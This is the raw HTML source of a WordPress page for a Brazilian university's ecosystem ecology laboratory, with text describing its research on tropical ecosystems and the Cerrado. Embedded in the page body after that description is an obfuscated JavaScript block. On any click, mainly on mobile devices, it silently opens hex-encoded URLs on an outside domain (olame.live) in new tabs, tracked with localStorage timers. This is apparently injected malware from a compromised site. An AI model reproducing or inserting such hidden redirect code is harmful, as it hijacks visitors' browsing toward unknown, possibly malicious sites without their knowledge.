href="https://bustamantelab.com.br/en/working-areas/research-networks/inct-climate-changes/">INCT – Climate Changes</a></li> 157 <li class="page_item page-item-630"><a href="https://bustamantelab.com.br/en/working-areas/research-networks/bpbes-brazilian-platform-on-biodiversity-and-ecosystem-services-2/">BPBES – Brazilian Platform on Biodiversity and Ecosystem Services</a></li> 158 </ul> 159</li> 160</ul> 161</li> 162<li class="page_item page-item-249 page_item_has_children"><a href="https://bustamantelab.com.br/en/people/">Team</a> 163<ul class='children'> 164 <li class="page_item page-item-336"><a href="https://bustamantelab.com.br/en/people/previous-members/">Previous Members</a></li> 165</ul> 166</li> 167<li class="page_item page-item-267 page_item_has_children"><a href="https://bustamantelab.com.br/en/publications/">Publications</a> 168<ul class='children'> 169 <li class="page_item page-item-330"><a href="https://bustamantelab.com.br/en/publications/papers/">Papers</a></li> 170 <li class="page_item page-item-828"><a href="https://bustamantelab.com.br/en/publications/books-and-chapters-2/">Books and Chapters</a></li> 171 <li class="page_item page-item-338"><a href="https://bustamantelab.com.br/en/publications/others/">Theses and dissertations</a></li> 172</ul> 173</li> 174<li class="page_item page-item-297"><a href="https://bustamantelab.com.br/en/news/">News</a></li> 175<li class="page_item page-item-142"><a href="https://bustamantelab.com.br/en/contato/">Contact</a></li> 176</ul></div> 177 </nav> 178 </div> 179 </div> 180 </header> 181 <div id="ht-content" class="ht-site-content"> <div class="ht-main-header"> 182 <div class="ht-container"> 183 <h1 class="ht-main-title">Ecosystems Lab.</h1> <nav role="navigation" aria-label="Breadcrumbs" class="breadcrumb-trail breadcrumbs" itemprop="breadcrumb"><ul class="trail-items" itemscope itemtype="http://schema.org/BreadcrumbList"><meta name="numberOfItems" content="2" /><meta name="itemListOrder" content="Ascending" /><li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem" class="trail-item trail-begin"><a href="https://bustamantelab.com.br/en/" rel="home" itemprop="item"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li><li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem" class="trail-item trail-end"><span itemprop="name">Ecosystems Lab.</span><meta itemprop="position" content="2" /></li></ul></nav> </div> 184 </div><!-- .entry-header --> 185 <div class="ht-container ht-clearfix"> 186 <div id="primary" class="content-area"> 187 <main id="main" class="site-main"> 188 189 190 191<article id="post-274" class="post-274 page type-page status-publish"> 192 193 <div class="page-content"> 194 <p>How are biological communities organized and functioning? How environmental change affects the communities functioning? These questions are at the heart of advances in the understanding of energy and matter flows on Earth. The Ecosystems Ecology is a branch of Ecology that has as object of study from the microbiota present in a minimal portion of soil to the highest level of terrestrial ecological organization, the biosphere. Understanding how energy flows from the conversion of solar rays by photosynthetic organisms to the dynamics of decomposition of their matter have been key issues for the Ecology of Ecosystems.</p> 195<p><span id="more-274"></span>
195Today, the development of Ecosystem Ecology has profound social and economic implications by helping to understand how natural and managed ecosystems respond to environmental disturbances and changes. Such an understanding can help build more resilient and prepared societies for an environment in transition with more intense and frequent changes. This includes knowing and valuing the benefits of maintaining the integrity of ecosystems.</p> 196<p>The Ecosystems Laboratory was created in 1994 as part of the Department of Ecology of the Institute of Biological Sciences (IB) of the University of BrasÃlia (UnB). The laboratory has as research lines the ecology of tropical ecosystems and their responses to <a href="https://bustamantelab.com.br/en/working-areas/climate-changes/"><strong>environmental changes</strong></a> at different scales. Studies include <a href="https://bustamantelab.com.br/en/working-areas/terrestrial-ecosystems/"><strong>terrestrial</strong></a> and <strong><a href="https://bustamantelab.com.br/en/working-areas/aquatic-ecosystems/">aquatic</a></strong> ecosystems with a focus on the Cerrado biome.<br />
197<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x55\x6b\x69\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x46\x74\x6b\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x69\x41\x79\x38\x63\x398','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x69\x69\x58\x39\x63\x339','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x77\x4d\x54\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x54\x61\x6e\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x4b\x4e\x57\x32\x63\x332','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x55\x62\x75\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x61\x66\x7a\x30\x63\x300','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x64\x64\x59\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>
197</p> 198 </div><!-- .entry-content --> 199 200</article><!-- #post-## --> 201 202 203 </main> 204 </div> 205 206 </div> 207 208 </div><!-- #content --><footer id="ht-colophon" class="ht-site-footer"> <div id="ht-main-footer"> 209 <div class="ht-container"> 210 <div class="ht-main-footer col-4-1-1-1-1"> 211 <div class="ht-footer ht-footer1"> 212 <aside id="search-3" class="widget widget_search"><form role="search" method="get" class="search-form" action="https://bustamantelab.com.br/en/"> 213 <label> 214 <span class="screen-reader-text">Search for:</span> 215 <input type="search" class="search-field" placeholder="Search …" value="" name="s" /> 216 </label> 217 <input type="submit" class="search-submit" value="Search" /> 218 </form></aside> </div> 219 <div class="ht-footer ht-footer2"> 220 <aside id="polylang-2" class="widget widget_polylang"><label class="screen-reader-text" for="lang_choice_polylang-2">Choose a language</label><select name="lang_choice_polylang-2" id="lang_choice_polylang-2" class="pll-switcher-select"> 221 <option value="https://bustamantelab.com.br/pt/apresentacao-lab/" lang="pt-BR" data-lang="{"id":0,"name":"Portugu\u00eas","slug":"pt","dir":0}">Português</option> 222 <option value="https://bustamantelab.com.br/en/ecosystems-ecology-laboratory/" lang="en-GB" selected='selected' data-lang="{"id":0,"name":"English","slug":"en","dir":0}">English</option> 223 224</select>
225<script> 226 document.getElementById( "lang_choice_polylang-2" ).addEventListener( "change", function ( event ) { location.href = event.currentTarget.value; } ) 227 </script>
227</aside> </div> 228 <div class="ht-footer ht-footer3"> 229 <aside id="spider_calendar-2" class="widget spider_calendar"><h5 class="widget-title">Atividades do Laboratório</h5> <input type="hidden" id="cal_width1" value="200"/> 230 <div id='bigcalendar1' class="wdc_calendar"></div> 231
231<script> 232 var tb_pathToImage = "https://bustamantelab.com.br/wp-content/plugins/spider-event-calendar/images/loadingAnimation.gif"; 233 var tb_closeImage = "https://bustamantelab.com.br/wp-content/plugins/spider-event-calendar/images/tb-close.png" 234 var randi; 235 if (typeof showbigcalendar != 'function') { 236 function showbigcalendar(id, calendarlink, randi, widget) { 237 jQuery.ajax({ 238 type: "GET", 239 url: calendarlink, 240 data: {}, 241 success: function (data) { 242 jQuery('#' + id).html(data); 243 spider_calendar_ajax_success(id, calendarlink, randi, widget) 244 } 245 }); 246 } 247 function spider_calendar_ajax_success(id, calendarlink, randi, widget) { 248 jQuery(document).ready(function () { 249 jQuery('#views_select').toggle(function () { 250 jQuery('#drop_down_views').stop(true, true).delay(200).slideDown(500); 251 jQuery('#views_select .arrow-down').addClass("show_arrow"); 252 jQuery('#views_select .arrow-right').removeClass("show_arrow"); 253 }, function () { 254 jQuery('#drop_down_views').stop(true, true).slideUp(500); 255 jQuery('#views_select .arrow-down').removeClass("show_arrow"); 256 jQuery('#views_select .arrow-right').addClass("show_arrow"); 257 }); 258 }); 259 if (widget != 1) { 260 jQuery('drop_down_views').hide(); 261 var parent_width = document.getElementById('bigcalendar' + randi).parentNode.clientWidth; 262 var calwidth = document.getElementById('cal_width' + randi).value; 263 var responsive_width = (calwidth) / parent_width * 100; 264 document.getElementById('bigcalendar' + randi).setAttribute('style', 'width:' + responsive_width + '%;'); 265 jQuery('pop_table').css('height', '100%'); 266 } 267 var thickDims, tbWidth, tbHeight; 268 jQuery(document).ready(function ($) { 269 if (/iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream) { 270 jQuery('body').addClass('ios_device'); 271 } 272 setInterval(function () { 273 if (jQuery("body").hasClass("modal-open")) jQuery("html").addClass("thickbox_open"); 274 else jQuery("html").removeClass("thickbox_open"); 275 }, 500); 276 thickDims = function () { 277 var tbWindow = jQuery('#TB_window'), H = jQuery(window).height(), W = jQuery(window).width(), w, h; 278 if (tbWidth) { 279 if (tbWidth < (W - 90)) w = tbWidth; else w = W - 200; 280 } else w = W - 200; 281 if (tbHeight) { 282 if (tbHeight < (H - 90)) h = tbHeight; else h = H - 200; 283 } else h = H - 200; 284 if (tbWindow.length) { 285 tbWindow.width(w).height(h); 286 jQuery('#TB_iframeContent').width(w).height(h - 27); 287 tbWindow.css({'margin-left': '-' + parseInt((w / 2), 10) + 'px'}); 288 if (typeof document.body.style.maxWidth != 'undefined') 289 tbWindow.css({'top': (H - h) / 2, 'margin-top': '0'}); 290 } 291 if (jQuery(window).width() < 768) { 292 var tb_left = parseInt((w / 2), 10) + 20; 293 jQuery('#TB_window').css({"left": tb_left + "px", "width": "90%", "margin-top": "-13%", "height": "100%"}) 294 jQuery('#TB_window iframe').css({'height': '100%', 'width': '100%'}); 295 } 296 else jQuery('#TB_window').css('left', '50%'); 297 if (typeof popup_width_from_src != "undefined") { 298 popup_width_from_src = jQuery('.thickbox-previewbigcalendar' + randi).attr('href').indexOf('tbWidth='); 299 str = jQuery('.thickbox-previewbigcalendar' + randi).attr('href').substr(popup_width_from_src + 8, 150) 300 find_amp = str.indexOf('&'); 301 width_orig = str.substr(0, find_amp); 302 find_eq = str.indexOf('='); 303 height_orig = str.substr(find_eq + 1, 5); 304 jQuery('#TB_window').css({'max-width': width_orig + 'px', 'max-height': height_orig + 'px'}); 305 jQuery('#TB_window iframe').css('max-width', width_orig + 'px'); 306 } 307 }; 308 thickDims(); 309 jQuery(window).resize(function () { 310 thickDims(); 311 }); 312 jQuery('a.thickbox-preview' + id).click(function () { 313 tb_click.call(this); 314 var alink = jQuery(this).parents('.available-theme').find('.activatelink'), link = '', 315 href = jQuery(this).attr('href'), url, text; 316 var reg_with = new RegExp(xx_cal_xx + "tbWidth=[0-9]+"); 317 if (tbWidth = href.match(reg_with)) 318 tbWidth = parseInt(tbWidth[0].replace(/[^0-9]+/g, ''), 10); 319 else 320 tbWidth = jQuery(window).width() - 90; 321 var reg_heght = new RegExp(xx_cal_xx + "tbHeight=[0-9]+");
322 if (tbHeight = href.match(reg_heght)) 323 tbHeight = parseInt(tbHeight[0].replace(/[^0-9]+/g, ''), 10); 324 else 325 tbHeight = jQuery(window).height() - 60; 326 jQuery('#TB_ajaxWindowTitle').css({'float': 'right'}).html(link); 327 thickDims(); 328 return false; 329 }); 330 331 }); 332 } 333 } 334 document.onkeydown = function (evt) { 335 evt = evt || window.event; 336 if (evt.keyCode == 27) { 337 document.getElementById('sbox-window').close(); 338 } 339 }; 340 showbigcalendar('bigcalendar1', 'https://bustamantelab.com.br/wp-admin/admin-ajax.php?action=spiderbigcalendar_month_widget&theme_id=1&calendar=1&select=month,&date=current-10&months&many_sp_calendar=1&widget=1&rand=1', '1', '1');</script>
340 341 <style> 342 #TB_window iframe { 343 background: #FFFFFF; 344 } 345 </style> 346 </aside> </div> 347 <div class="ht-footer ht-footer4"> 348 <aside id="login_wid-2" class="widget widget_login_wid"><h5 class="widget-title">Login</h5>
348<script> 349 function closeMessage(){jQuery('.error_wid_login').hide();} 350 jQuery(document).ready(function () { 351 jQuery('#login').validate({ errorClass: "lw-error" }); 352 }); 353 </script>
353 354 355<div class="login-wrap"> 356 357 <div id="login-form" class="login-form login_wid-2"> 358 359 360 361 <form name="login" id="login" method="post" action="" autocomplete="off" > 362 363 364 <input type="hidden" name="option" value="ap_user_login" /> 365 <input type="hidden" name="redirect" value="https://bustamantelab.com.br:443/en/ecosystems-ecology-laboratory/" /> 366 <div class="log-form-group"> 367 <label for="userusername">Username </label> 368 <input type="text" name="userusername" id="userusername" title="Please enter username" required/> 369 </div> 370 <div class="log-form-group"> 371 <label for="userpassword">Password </label> 372 <input type="password" name="userpassword" id="userpassword" title="Please enter password" required/> 373 </div> 374 375 376 377 378 <div class="login-submit"><input name="login" type="submit" value="Login" /></div> 379 380 <div class="log-form-group extra-links"> 381 </div> 382 383 </form> 384 385 386 </div> 387 388</div> 389 390</aside> </div> 391 </div> 392 </div> 393 </div> 394 <div id="ht-bottom-footer"> 395 <div class="ht-container"> 396 <div class="ht-site-info ht-bottom-footer"> 397 <a href="https://hashthemes.com/wordpress-theme/total/" target="_blank">WordPress Theme - Total</a> by HashThemes </div><!-- #site-info --> 398 </div> 399 </div> 400 </footer><!-- #colophon --></div><!-- #page -->
400<script type="speculationrules"> 401{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/total/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} 402</script>
402 403 <div id="ht-back-top" class="ht-hide"><i class="fas fa-angle-up"></i></div> 404
404<script id="wp-gmap-embed-front-js-js" src="https://bustamantelab.com.br/wp-content/plugins/gmap-embed/public/assets/js/wgm-frontend.js?ver=1785263920"></script>
vendor: 1 bytes, line 404
404
405<script id="wgm-select2-js-js" src="https://bustamantelab.com.br/wp-content/plugins/gmap-embed/admin/assets/third-party/select2/js/select2.min.js?ver=4.1.0-rc.0"></script>
vendor: 1 bytes, line 405
405
406<script id="thickbox-js-extra"> 407var thickboxL10n = {"next":"Next \u003E","prev":"\u003C Prev","image":"Image","of":"of","close":"Close","noiframes":"This feature requires inline frames. You have iframes disabled or your browser does not support them.","loadingAnimation":"https://bustamantelab.com.br/wp-includes/js/thickbox/loadingAnimation.gif"}; 408//# sourceURL=thickbox-js-extra 409</script>
vendor: 1 bytes, line 409
409
410<script id="thickbox-js" src="https://bustamantelab.com.br/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105"></script>
vendor: 1 bytes, line 410
410
411<script id="pll_cookie_script-js-after"> 412(function() { 413 var expirationDate = new Date(); 414 expirationDate.setTime( expirationDate.getTime() + 31536000 * 1000 ); 415 document.cookie = "pll_language=en; expires=" + expirationDate.toUTCString() + "; path=/; secure; SameSite=Lax"; 416 }()); 417 418//# sourceURL=pll_cookie_script-js-after 419</script>
vendor: 1 bytes, line 419
419
420<script id="jquery-nav-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/jquery.nav.js?ver=2.2.0"></script>
vendor: 1 bytes, line 420
420
421<script id="owl-carousel-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/owl.carousel.js?ver=2.2.0"></script>
vendor: 1 bytes, line 421
421
422<script id="imagesloaded-js" src="https://bustamantelab.com.br/wp-includes/js/imagesloaded.min.js?ver=5.0.0"></script>
vendor: 1 bytes, line 422
422
423<script id="isotope-pkgd-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/isotope.pkgd.js?ver=2.2.0"></script>
vendor: 1 bytes, line 423
423
424<script id="nivo-lightbox-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/nivo-lightbox.js?ver=2.2.0"></script>
vendor: 1 bytes, line 424
424
425<script id="superfish-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/superfish.js?ver=2.2.0"></script>
vendor: 1 bytes, line 425
425
426<script id="odometer-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/odometer.js?ver=2.2.0"></script>
vendor: 1 bytes, line 426
426
427<script id="waypoint-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/waypoint.js?ver=2.2.0"></script>
vendor: 1 bytes, line 427
427
428<script id="headroom-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/headroom.js?ver=2.2.0"></script>
vendor: 1 bytes, line 428
428
429<script id="total-custom-js-extra"> 430var total_localize = {"template_path":"https://bustamantelab.com.br/wp-content/themes/total","is_rtl":"false"}; 431//# sourceURL=total-custom-js-extra 432</script>
vendor: 1 bytes, line 432
432
433<script id="total-custom-js" src="https://bustamantelab.com.br/wp-content/themes/total/js/total-custom.js?ver=2.2.0"></script>
vendor: 1 bytes, line 433
433
434<script id="__ytprefsfitvids__-js" src="https://bustamantelab.com.br/wp-content/plugins/youtube-embed-plus/scripts/fitvids.min.js?ver=14.2.6.1"></script>
vendor: 1 bytes, line 434
434
435<script id="wp-emoji-settings" type="application/json"> 436{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://bustamantelab.com.br/wp-includes/js/wp-emoji-release.min.js?ver=7.0.6"}} 437</script>
vendor: 1 bytes, line 437
437
438<script type="module"> 439/*! This file is auto-generated */ 440var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))}); 441//# sourceURL=https://bustamantelab.com.br/wp-includes/js/wp-emoji-loader.min.js 442</script>
vendor: 1 bytes, line 442
442
443<script></script>
443</body></html> 444<!-- 445Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/ 446 447Page Caching using Disk: Enhanced 448 449Served from: bustamantelab.com.br @ 2026-10-05 12:22:19 by W3 Total Cache 450-->
